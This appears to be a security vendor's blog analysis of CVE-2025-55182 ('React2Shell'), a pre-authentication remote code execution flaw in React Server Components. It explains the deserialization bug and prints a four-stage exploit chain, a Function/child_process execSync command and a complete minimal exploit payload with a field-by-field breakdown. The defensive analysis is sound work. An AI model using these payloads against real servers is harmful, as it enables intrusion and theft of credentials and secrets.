CVE-2025-55182: React2Shell Analysis, Proof-of-Concept Chaos, and In-the-Wild Exploitation
Key takeaways:
- The exploit leverages JavaScript’s duck-typing and dynamic code execution through an attack that has four stages: it creates a self-reference loop, tricks JavaScript into calling attacker code, then injects malicious data for initialization, and finally executes arbitrary code via Blob Handler.
- We’ve identified nearly 145 in-the-wild proof-of-concept exploits of various quality with features such as WAF bypasses and automated mass-scanning.
- Trend™ Research observed that CVE-2025-55182, as of this writing, is being exploited in-the-wild, and in several malware campaigns such as the emerald and nuts campaigns. Several of these are attacks that execute Cobalt Strike beacons generated with Cross C2, deploy Nezha, Fast Reverse Proxy (FRP), the Sliver payload, and the Secret-Hunter payload.
- Trend Research provides patch and PoC landscape analysis and clarifies misconceptions about the React2Shell vulnerability to minimize chances of the deployment of ineffective defenses as well as fear, uncertainty, and doubt regarding CVE-2025-55182. Organizations should expect targeted scanning from bug bounty hunters against publicly accessible infrastructure including websites.
- Trend Vision One™ detects and blocks the IoCs discussed in this blog. Trend Micro customers can also access tailored hunting queries, threat insights, and intelligence reports to better understand and proactively defend against attackers exploiting CVE-2025-55182.
Trend customers can visit the knowledge base entry for information on available solutions and how to mitigate this vulnerability.
We have previously published a blog on what organizations need to know about the actively exploited CVE-2025-55182, which is a critical (CVSS 10.0) pre-authentication remote code execution vulnerability affecting React Server Components (RSC) used in React.js, Next.js, and related frameworks.
RSC is a modern architecture where UI components run on the server instead of the browser, reducing JavaScript sent to clients.
RSC communicate between client and server using a serialization protocol called “React Flight.” This protocol enables streaming of complex data structures that mirror the React component tree, allowing UIs to render progressively while awaiting backend responses. The sum of which can be called the RSC payload. Think of it as an RPC-over-HTTP mechanism where clients send “chunks” of serialized data to Server Functions.
When a user submits a form on an RSC app, the browser packages form data into numbered “chunks” that reference each other. The server then reassembles these chunks to understand what the user requested.
# Example: User profile update sent as Flight chunks
form_data = {
“0”: (None, ‘[“$1”]’), # Entry point → load chunk 1
“1”: (None, ‘{“action”:”updateProfile”,”user”:”$2″}’), # Action → load user from chunk 2
“2”: (None, ‘{“userId”:42,”email”:”user@example.com”}’), # Actual user data
}
# Server processes: chunk 0 → chunk 1 → chunk 2, assembling the complete request
Flight uses special $X prefixes to encode different data types. This is where the vulnerability lies: the vulnerability affects how the server deserializes data from clients. An attacker can send malicious data that executes arbitrary code on your servers before any authentication occurs.
| Prefix | Purpose | Risk |
| $@ | Raw chunk reference (returns chunk object itself) | Exploited – allows access to internal React objects |
| $B | Blob/binary data | Exploited – provides code execution gadget |
| $F | Function reference | Normal server action calls |
| $L | Lazy component | Deferred component loading |
Table 1. Flight protocol prefixes and security risks
When RSC receives data from a client, it needs to check “does this object actually have this property, or is it inherited from JavaScript’s built-in prototypes?” The vulnerable code checked this by asking the untrusted object itself: much like asking a burglar if they’re supposed to be in your house.
The vulnerability resides in React’s reviveModel function within ReactFlightReplyServer.js. When traversing chunks during reference resolution, React failed to verify whether a requested key was an own property of the object versus an inherited prototype property. The vulnerable code path is illustrated below:
for (i in value)
value.hasOwnProperty(i) &&
In JavaScript, every object inherits from Object.prototype, which includes methods like hasOwnProperty, constructor, and toString. Normally these are safe, but an attacker who controls value can replace hasOwnProperty with something malicious, bypassing the security check entirely.
The critical flaw invokes value.hasOwnProperty(i) which performs a method lookup on the untrusted value object. An attacker-controlled payload can shadow this property with a malicious reference, by passing the ownership check entirely. This opened access to prototype chain properties like constructor and __proto__.
This exploit worked like a series of locks being picked: each stage of the exploit chain got the attacker one step closer to code execution. In the next section we explain each lock and how they were picked.
React2Shell exploitation chain
The exploit leverages JavaScript’s duck-typing and dynamic code execution through an attack with four stages. This chain has been documented in two separate GitHub posts from other researchers that can be accessed here and here.
Stage 1: Create a self-reference loop
To get access to JavaScript’s internal objects by making chunks reference themselves, the $@ prefix returns the raw chunk object instead of its parsed value. If chunk 1 says “give me chunk 0’s raw object” ($@0), and chunk 0 references chunk 1, you create a loop.
attack_payload = {
“0”: ‘{“callback”: “$1:__proto__:then”}’, # Chunk 0 reaches into chunk 1’s prototype
“1”: ‘”$@0″‘,
}
By traversing $1:__proto__:constructor:constructor, the attacker walks up JavaScript’s prototype chain: chunk 1 → Object.prototype → Object constructor → Function constructor. Now they can create arbitrary functions.
Stage 2: Trick JavaScript into calling attacker code
To make JavaScript automatically execute attacker-controlled code, JavaScript’s await keyword looks for objects with a .then() method and calls it automatically. By setting then to point to React’s internal Chunk.prototype.then, the attacker hijacks this mechanism:
Chunk.prototype.then = function(resolve, reject) {
if (this.status === “resolved_model”) {
initializeModelChunk(this);
}
};
When React processes the malicious chunk, it sees a then property and treats it like a Promise. React’s own code then calls initializeModelChunk(), which is the following step.
Stage 3: Inject malicious data for initialization
To feed the attacker’s payload into React’s code initialization process, the status “resolved_model” is set to make React parse the .value field and process it. The attacker puts their payload here:
function initializeModelChunk(chunk) {
var rawModel = JSON.parse(chunk.value);
}
React trusts the status field. If it says “resolved_model”, React assumes the chunk is ready and parses its contents, including malicious references.
Stage 4: Execute arbitrary code via the blob handler
To convert a reference lookup into actual code execution, the $B prefix triggers React’s blob handler, which calls a .get() method on a controlled object. By pointing _formData.get to the Function constructor:
case “B”:
return response._formData.get(response._prefix + obj);
The attacker crafts their payload so the call becomes:
Function(“require(‘child_process’).execSync(‘id’);//0”)()
React appends a chunk ID to the string. The // starts a JavaScript comment, ignoring that extra data. The server then executes the attacker’s shell command (id, or wget, or anything) with full Node.js privileges.
Minimum viable exploit
This section demonstrates that exploitation doesn’t require complex setup: just a single HTTP request.
The complete payload requires no __proto__ access (contrary to many circulating proof-of-concept exploits that use it):
{
0: {
status: “resolved_model”,
reason: -1,
_response: {
_prefix: “console.log(‘RCE’)//”,
_formData: { get: “$1:then:constructor” },
},
then: “$1:then”,
value: ‘{“then”:”$B”}’,
},
1: “$@0”,
}
| Field | Purpose | Junior-Friendly Explanation |
| status: “resolved_model” | Trigger initialization | “I’m ready to be processed” |
| reason: -1 | Prevent crash | Technical workaround to avoid toString() error |
| _prefix | Malicious code | The actual command that runs on the server |
| _formData.get | Code execution gadget | Points to Function() so we can create new functions |
| then | Automatic trigger | Makes JavaScript call our code via await |
| value | Attack payload | Contains $B which triggers the blob handler |
| 1: “$@0” | Self-reference | Creates the loop that exposes internal objects |
Table 2. Breakdown of the malicious payload components
The $1:then:constructor path explained:
- $1 → Go to chunk 1 (which references chunk 0)
- :then → Access the then property (a function)
- :constructor → Get that function’s constructor → Function
Since then is a function, its .constructor is Function itself: the built-in JavaScript constructor that can create and execute arbitrary code.
Pre-authentication attack surface
This vulnerability is particularly severe because exploitation occurs during deserialization, before the requested Server Action is validated. Setting any Next-Action header value (even Next-Action: foo) triggers the vulnerable code path. Per Facebook’s Security Advisory:
- Pre-authentication RCE: No credentials required
- Node.js context execution: Full access to process, child_process, filesystem
- Environment variable access: Database credentials, API keys, secrets
- Lateral movement: Cloud metadata endpoints, internal network access
In-the-wild activity
This section documents real attacks we’ve observed. Enterprises can use the IOC table to update their respective threat feeds, and the timeline to assess if their organization was exposed during the exploitation window.
Read More HERE
